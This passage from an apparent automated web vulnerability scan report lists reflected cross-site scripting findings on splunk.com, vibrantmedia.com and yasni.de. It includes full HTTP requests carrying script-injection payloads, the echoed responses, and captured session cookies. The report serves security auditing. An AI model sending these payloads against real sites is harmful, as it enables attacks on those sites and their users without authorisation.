Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:15:11 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:45:12 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:45:12 GMT; path=/
ETag: 4fe12a239c14277a741318813ae441771296944112
Last-Modified: Sat, 05 Feb 2011 22:15:12 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18371

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>a9ce0ced2e1/SP-CAAAFD2 -->
...[SNIP]...

4.626. http://www.splunk.com/view/whats-new/SP-CAAAFD2 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/whats-new/SP-CAAAFD2

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload 4887d--><script>alert(1)</script>55ee778f148 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/whats-new/SP-CAAAFD24887d--><script>alert(1)</script>55ee778f148 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:15:46 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:45:46 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:45:46 GMT; path=/
ETag: 6ee65ca7b28522862124d992cced6c2d1296944146
Last-Modified: Sat, 05 Feb 2011 22:15:46 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18371

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>55ee778f148 -->
...[SNIP]...

4.627. http://www.splunk.com/view/whats-new/SP-CAAAFD2 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/whats-new/SP-CAAAFD2

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 581fe--><script>alert(1)</script>7e2759d06a7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/whats-new/SP-CAAAFD2?581fe--><script>alert(1)</script>7e2759d06a7=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:13:59 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: d42be96bfaed903e63bc16d7304816981296944040
Last-Modified: Sat, 05 Feb 2011 22:14:00 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 27935

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>7e2759d06a7=1 -->
...[SNIP]...

4.628. http://www.splunk.com/wiki [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/wiki

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload b7936--><script>alert(1)</script>598904f8a80 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /b7936--><script>alert(1)</script>598904f8a80 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; __utmz=204527314.1296947359.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; XARAYASID=f9dtn7oaue1nupeh7s4dpfokt0; splunk_com_uid=1; Apache=173.193.214.243.1296947376244858; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; splunk_com_xt_uid=1; PHPSESSID=afumuefdbn5a7tsaitu6o38uq5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942985.1296947359.3; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sun, 06 Feb 2011 16:15:24 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18271

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>598904f8a80 -->
...[SNIP]...

4.629. http://www.splunk.com/wiki [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/wiki

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b31a7"><script>alert(1)</script>dcf6a3828c3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wikib31a7"><script>alert(1)</script>dcf6a3828c3 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; __utmz=204527314.1296947359.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; XARAYASID=f9dtn7oaue1nupeh7s4dpfokt0; splunk_com_uid=1; Apache=173.193.214.243.1296947376244858; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; splunk_com_xt_uid=1; PHPSESSID=afumuefdbn5a7tsaitu6o38uq5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942985.1296947359.3; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:14:58 GMT
Server: Apache/2.2.8 (EL)
Vary: Accept-Encoding,Cookie,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Set-Cookie: opensource_session=+; expires=Sun, 06-Feb-2011 16:14:59 GMT; path=/
Set-Cookie: opensourceUserID=+; expires=Sun, 06-Feb-2011 16:14:59 GMT; path=/
Set-Cookie: opensourceUserName=+; expires=Sun, 06-Feb-2011 16:14:59 GMT; path=/
Content-language: en
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 10535

...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="lt
...[SNIP]...
<a href="http://www.splunk.com/index.php?module=roles&func=showloginform&redirecturl=http://www.splunk.com/wikib31a7"><script>alert(1)</script>dcf6a3828c3">
...[SNIP]...

4.630. http://www.splunk.com/wiki [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/wiki

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 671a4"><script>alert(1)</script>b97d19aca39 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wiki?671a4"><script>alert(1)</script>b97d19aca39=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; __utmz=204527314.1296947359.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; XARAYASID=f9dtn7oaue1nupeh7s4dpfokt0; splunk_com_uid=1; Apache=173.193.214.243.1296947376244858; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; splunk_com_xt_uid=1; PHPSESSID=afumuefdbn5a7tsaitu6o38uq5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942985.1296947359.3; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:14:57 GMT
Server: Apache/2.2.8 (EL)
Vary: Accept-Encoding,Cookie,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: private, must-revalidate, max-age=0
Pragma: no-cache
Set-Cookie: opensource_session=+; expires=Sun, 06-Feb-2011 16:14:58 GMT; path=/
Set-Cookie: opensourceUserID=+; expires=Sun, 06-Feb-2011 16:14:58 GMT; path=/
Set-Cookie: opensourceUserName=+; expires=Sun, 06-Feb-2011 16:14:58 GMT; path=/
Content-language: en
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20434

...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="lt
...[SNIP]...
<a href="http://www.splunk.com/index.php?module=roles&func=showloginform&redirecturl=http://www.splunk.com/wiki?671a4"><script>alert(1)</script>b97d19aca39=1">
...[SNIP]...

4.631. http://www.splunk.com/wiki/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/wiki/

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 5d79e--><script>alert(1)</script>01e99964339 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /5d79e--><script>alert(1)</script>01e99964339/ HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:23:36 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:53:37 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:53:37 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18275

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>01e99964339/ -->
...[SNIP]...

4.632. http://www.splunk.com/wiki/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/wiki/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a8a7d"><script>alert(1)</script>25cf03b96 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wikia8a7d"><script>alert(1)</script>25cf03b96/ HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:23:13 GMT
Server: Apache/2.2.8 (EL)
Vary: Accept-Encoding,Cookie,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Set-Cookie: opensource_session=+; expires=Sat, 05-Feb-2011 22:23:14 GMT; path=/
Set-Cookie: opensourceUserID=+; expires=Sat, 05-Feb-2011 22:23:14 GMT; path=/
Set-Cookie: opensourceUserName=+; expires=Sat, 05-Feb-2011 22:23:14 GMT; path=/
Content-language: en
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 10533

...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="lt
...[SNIP]...
<a href="http://www.splunk.com/index.php?module=roles&func=showloginform&redirecturl=http://www.splunk.com/wikia8a7d"><script>alert(1)</script>25cf03b96/">
...[SNIP]...

4.633. http://www.splunk.com/wiki/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/wiki/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f5aa3"><script>alert(1)</script>5ac65bd0135 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wiki/?f5aa3"><script>alert(1)</script>5ac65bd0135=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:23:03 GMT
Server: Apache/2.2.8 (EL)
Vary: Accept-Encoding,Cookie,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: private, must-revalidate, max-age=0
Pragma: no-cache
Set-Cookie: opensource_session=+; expires=Sat, 05-Feb-2011 22:23:04 GMT; path=/
Set-Cookie: opensourceUserID=+; expires=Sat, 05-Feb-2011 22:23:04 GMT; path=/
Set-Cookie: opensourceUserName=+; expires=Sat, 05-Feb-2011 22:23:04 GMT; path=/
Content-language: en
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20435

...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="lt
...[SNIP]...
<a href="http://www.splunk.com/index.php?module=roles&func=showloginform&redirecturl=http://www.splunk.com/wiki/?f5aa3"><script>alert(1)</script>5ac65bd0135=1">
...[SNIP]...

4.634. http://www.vibrantmedia.com/whatisIntelliTXT.asp [ipid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vibrantmedia.com
Path:	/whatisIntelliTXT.asp

Issue detail

The value of the ipid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 58b7c"><script>alert(1)</script>3fc5507d4ef was submitted in the ipid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /whatisIntelliTXT.asp?ipid=${ipid}58b7c"><script>alert(1)</script>3fc5507d4ef&cc=${cc}&server=${itxtserver} HTTP/1.1
Host: www.vibrantmedia.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 92299
Content-Type: text/html
Server: Microsoft-IIS/7.5
Set-Cookie: ASPSESSIONIDQADSARBD=OEOFFMCCAJGDINNJNMLCLBJJ; path=/
p3p: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 22:20:39 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<titl
...[SNIP]...
<input type="hidden" name="IPID" value="${ipid}58b7c"><script>alert(1)</script>3fc5507d4ef">
...[SNIP]...

4.635. http://www.yasni.de/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.yasni.de
Path:	/

Issue detail

